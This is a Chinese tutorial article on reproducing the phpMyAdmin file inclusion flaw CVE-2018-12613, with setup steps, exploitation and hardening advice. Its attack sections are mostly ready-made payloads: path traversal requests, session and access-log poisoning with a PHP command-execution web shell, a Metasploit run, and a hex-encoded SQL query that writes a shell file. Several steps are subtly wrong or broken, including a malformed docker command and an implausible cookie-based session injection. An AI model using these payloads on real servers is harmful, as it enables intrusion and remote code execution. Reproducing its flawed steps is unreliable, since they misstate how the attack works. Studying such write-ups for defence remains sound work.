如何理解phpMyAdmin文件包含漏洞复现

发布时间:2021-10-18 15:48:26 作者:柒染
来源:亿速云 阅读:212
# 如何理解phpMyAdmin文件包含漏洞复现

## 前言

phpMyAdmin作为最流行的MySQL数据库管理工具之一,其安全性直接影响数百万网站的数据安全。文件包含漏洞(Local File Inclusion, LFI)是phpMyAdmin历史上多次出现的严重漏洞类型。本文将通过漏洞原理分析、环境搭建、漏洞复现和防御措施四个维度,深入解析这类漏洞的利用方式。

---

## 一、漏洞原理深度解析

### 1.1 文件包含漏洞基础
文件包含漏洞分为两类:
- **本地文件包含(LFI)**:包含服务器本地文件
- **远程文件包含(RFI)**:通过URL包含远程文件(需`allow_url_include=On`)

phpMyAdmin的典型LFI漏洞常出现在:
```php
// 错误示例:未校验用户输入的包含路径
$page = $_GET['page'];
include('/modules/' . $page . '/header.php');

1.2 phpMyAdmin特殊利用场景

在phpMyAdmin中,文件包含漏洞常与以下特性结合: 1. 会话文件包含:通过写入恶意代码到临时会话文件(/tmp/sess_[PHPSESSID]) 2. 日志文件包含:包含Apache/Nginx访问日志注入PHP代码 3. 配置文件包含:利用config.inc.php等配置文件


二、漏洞复现环境搭建

2.1 实验环境配置

组件 版本
phpMyAdmin 4.8.0-4.8.1
PHP 5.67.0(需开启session.auto_start
MySQL 5.7
操作系统 Ubuntu 18.04/Kali

使用Docker快速搭建:

docker run -d -p 8080:80 --name vulnerable_pma \
-e PMA_VERSION=4.8.1 \
-vulnerable-web-dvwa

2.2 必要配置修改

  1. 编辑php.ini
    
    session.auto_start = 1
    allow_url_include = Off
    
  2. 确认phpMyAdmin的config.inc.php未设置$cfg['TempDir']

三、漏洞复现实战(CVE-2018-12613)

3.1 漏洞触发步骤

  1. 构造恶意请求

    GET /index.php?target=db_sql.php%253f/../../../../../../etc/passwd HTTP/1.1
    
    • 双重URL编码绕过过滤:%253f解码后为?
  2. 会话文件包含利用

    # 生成恶意SESSION
    import requests
    url = "http://target/index.php"
    payload = "<?php system($_GET['cmd']);?>"
    requests.get(url, cookies={'PHPSESSID': payload})
    
  3. 包含临时文件

    GET /index.php?target=../../../../../../tmp/sess_[恶意ID]&cmd=id HTTP/1.1
    

3.2 自动化利用工具

使用Metasploit模块:

use exploit/multi/http/phpmyadmin_lfi_rce
set RHOSTS 192.168.1.100
set TARGETURI /pma
exploit

四、漏洞利用的进阶技巧

4.1 日志文件注入

当无法使用会话文件时: 1. 通过User-Agent注入PHP代码:

   curl -A "<?php phpinfo();?>" http://target/
  1. 包含日志文件:
    
    GET /index.php?target=../../../../var/log/apache2/access.log
    

4.2 利用phpMyAdmin特性

  1. 转换编码漏洞

    SELECT 0x3C3F7068702073797374656D28245F4745545B27636D64275D293B203F3E INTO OUTFILE '/var/www/shell.php'
    

    (十六进制编码的<?php system($_GET['cmd']);?>

  2. 设计器功能利用: 通过pma_pdf_schema表写入恶意代码


五、防御措施与修复方案

5.1 官方修复方案

5.2 管理员防护建议

  1. 权限控制

    chown -R root:root /usr/share/phpmyadmin
    chmod -R 644 /usr/share/phpmyadmin
    
  2. 配置加固

    // config.inc.php
    $cfg['AllowArbitraryServer'] = false;
    $cfg['TempDir'] = '/var/lib/phpmyadmin/tmp';
    
  3. WAF规则示例(ModSecurity):

    SecRule ARGS_GET:target "@contains .." "deny,log,msg:'phpMyAdmin LFI attempt'"
    

六、漏洞研究的意义

  1. 安全开示范例:展示输入验证的重要性
  2. 防御体系构建:多层防御(输入过滤、权限控制、日志监控)
  3. 应急响应训练:通过复现提升实战能力

“理解漏洞的最好方式就是亲手复现它” —— 某安全研究员


参考资料

  1. CVE-2018-12613 NVD详情
  2. phpMyAdmin安全公告
  3. OWASP文件包含防护指南

”`

注:实际复现请务必在授权环境下进行,本文仅作技术研究用途。根据具体环境参数可能需要调整利用方式,建议参考官方补丁分析完整防护方案。

推荐阅读:
  1. Nginx 解析漏洞复现
  2. 【漏洞复现】WordPress插件Quizlord 2.0 XSS漏洞复现与分析

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

phpmyadmin

上一篇:Python中bs4有什么用

下一篇:Python中eval()与exec()有什么用

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》